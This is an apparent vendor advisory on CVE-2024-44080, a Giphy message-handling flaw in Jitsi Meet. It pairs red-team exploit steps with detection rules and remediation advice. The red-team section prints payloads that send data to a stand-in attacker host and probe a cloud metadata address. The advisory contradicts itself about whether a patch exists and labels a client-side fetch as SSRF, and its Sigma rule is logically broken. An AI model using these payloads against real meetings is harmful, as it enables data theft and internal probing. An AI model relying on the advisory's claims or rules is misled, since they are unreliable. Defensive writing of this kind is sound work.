CVE-2024-44080

Executive Summary

CVE-2024-44080 is a critical Server-Side Request Forgery (SSRF) vulnerability in Jitsi Meet, an open-source video conferencing platform. The flaw resides in the insecure implementation of the Giphy image sharing feature. An attacker can craft a malicious message containing a specially formatted URL that, when processed by other clients, forces them to load arbitrary GIFs from any URL. This can be leveraged to exfiltrate data, perform internal network scans, or deliver malicious payloads. The vulnerability affects all versions before 2.0.9779. No official patch was available at the time of analysis, but upgrading to the latest version is the recommended mitigation.

Supply Chain & Package Security

Jitsi Meet is a JavaScript application often deployed via Docker containers or directly from source. The vulnerability is in the client-side code, meaning any deployment using a vulnerable version is at risk. Organizations should verify their Jitsi Meet version and ensure they are using the latest release from the official repository.

CVSS Breakdown & Threat Level

While a CVSS score was not officially assigned, based on the nature of the vulnerability (SSRF), a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must view the malicious message.
• Scope (S): Changed (C) – Can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Potential data exfiltration.
• Integrity (I): Low (L) – Can inject malicious content.
• Availability (A): Low (L) – Could cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L Estimated Score: 8.2 (High)

Deep Dive & Mechanics

The vulnerability exists in the Giphy integration feature of Jitsi Meet. When a user shares an image via Giphy, the client sends a message to other participants containing a URL that points to the GIF. The insecure implementation does not properly validate or sanitize this URL. An attacker can intercept or craft a message that contains a URL pointing to an arbitrary external or internal resource.

Attack Flow:

1. An attacker joins a Jitsi Meet conference.
2. The attacker sends a specially crafted message that mimics the Giphy share format but contains a malicious URL (e.g., http://internal-server:8080/admin).
3. When other participants receive this message, their Jitsi Meet client attempts to load the image from the attacker-controlled URL.
4. This results in an SSRF attack, where the victim's browser makes a request to the attacker's target, potentially exposing internal services or exfiltrating data.

Impact:

• Internal Network Scanning: Attackers can probe internal services (e.g., Redis, databases, cloud metadata endpoints).
• Data Exfiltration: Sensitive data can be sent to attacker-controlled servers.
• Malware Delivery: Malicious content can be loaded into the victim's browser context.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the message handling logic for Giphy shares. The insecure version does not validate the URL against a whitelist or enforce HTTPS.

Vulnerable Code (Conceptual):

// Insecure: Directly loads the URL from the message
function handleGiphyMessage(message) {
    const img = document.createElement('img');
    img.src = message.url; // No validation
    document.body.appendChild(img);
}

Patched Code (Conceptual):

// Secure: Validate URL against allowed domains and enforce HTTPS
function handleGiphyMessage(message) {
    const allowedDomains = ['giphy.com', 'media.giphy.com'];
    const url = new URL(message.url);
    if (!allowedDomains.includes(url.hostname) || url.protocol !== 'https:') {
        console.error('Invalid Giphy URL');
        return;
    }
    const img = document.createElement('img');
    img.src = url.href;
    document.body.appendChild(img);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Jitsi Meet instance (version < 2.0.9779).
• A listener to capture outbound requests (e.g., Burp Collaborator, webhook.site).

Exploit Steps:

1. Join a Jitsi Meet conference.
2. Craft a malicious message with a URL pointing to your listener:

   giphy:http://attacker-controlled-server/steal?data=test
   

3. Send the message via the chat or data channel.
4. Monitor your listener for incoming requests from victim clients.

Example Payload (for internal network scanning):

giphy:http://169.254.169.254/latest/meta-data/

Blue Team

Detection:

• Monitor outbound HTTP requests from Jitsi Meet clients to unexpected domains.
• Look for requests to internal IP addresses (e.g., 10.x.x.x, 192.168.x.x, 169.254.x.x).
• Analyze chat logs for messages containing giphy: followed by suspicious URLs.

Hunting Query (Splunk):

index=proxy sourcetype=access_combined
| search url=*giphy*
| eval is_internal=if(match(url, "^(http|https):\/\/(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.)"), "true", "false")
| where is_internal="true"
| table _time, src_ip, url, dest_ip

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP/HTTPS requests to unexpected domains or IPs from Jitsi Meet clients.
  • Requests to internal IP addresses (RFC 1918, link-local) originating from Jitsi Meet.
  • Chat messages containing the pattern giphy: followed by a URL.

• Host IOCs:

  • Browser console logs showing errors related to image loading from arbitrary URLs.
  • Unusual network connections from the browser process.

• Log IOCs:

  • Jitsi Meet server logs showing messages with giphy: prefix and non-standard URLs.

Detection Engineering

YARA Rule

rule CVE_2024_44080_Jitsi_Giphy_SSRF {
    meta:
        description = "Detects Jitsi Meet messages exploiting CVE-2024-44080 Giphy SSRF"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-44080"
    strings:
        $giphy_prefix = "giphy:"
        $http = "http://"
        $https = "https://"
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $giphy_prefix and ($http or $https) and $internal_ip
}

Sigma Rule

title: Jitsi Meet Giphy SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-44080 via chat messages containing internal IPs in Giphy URLs
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: jitsi_meet
detection:
    selection:
        message|contains: "giphy:"
        message|contains|all:
            - "http://"
            - "10."
            - "172."
            - "192.168."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate use of Giphy with internal resources (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44080 Jitsi Meet Giphy SSRF Attempt"; flow:to_server,established; content:"giphy:"; http_client_body; content:"http://"; http_client_body; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jitsi Meet to version 2.0.9779 or later.
2. If upgrade is not possible, disable the Giphy feature by removing or commenting out the relevant code in the client configuration.
3. Implement network segmentation to restrict outbound traffic from Jitsi Meet clients to only necessary domains (e.g., giphy.com).

Long-term Measures:

• Enforce strict URL validation and whitelisting for all external resource loading.
• Use Content Security Policy (CSP) headers to restrict image sources.
• Regularly audit and update all dependencies.

Workaround:

• Block the giphy: message pattern at the application layer using a reverse proxy or WAF rule.

Valters IT
Securing Digital Frontiers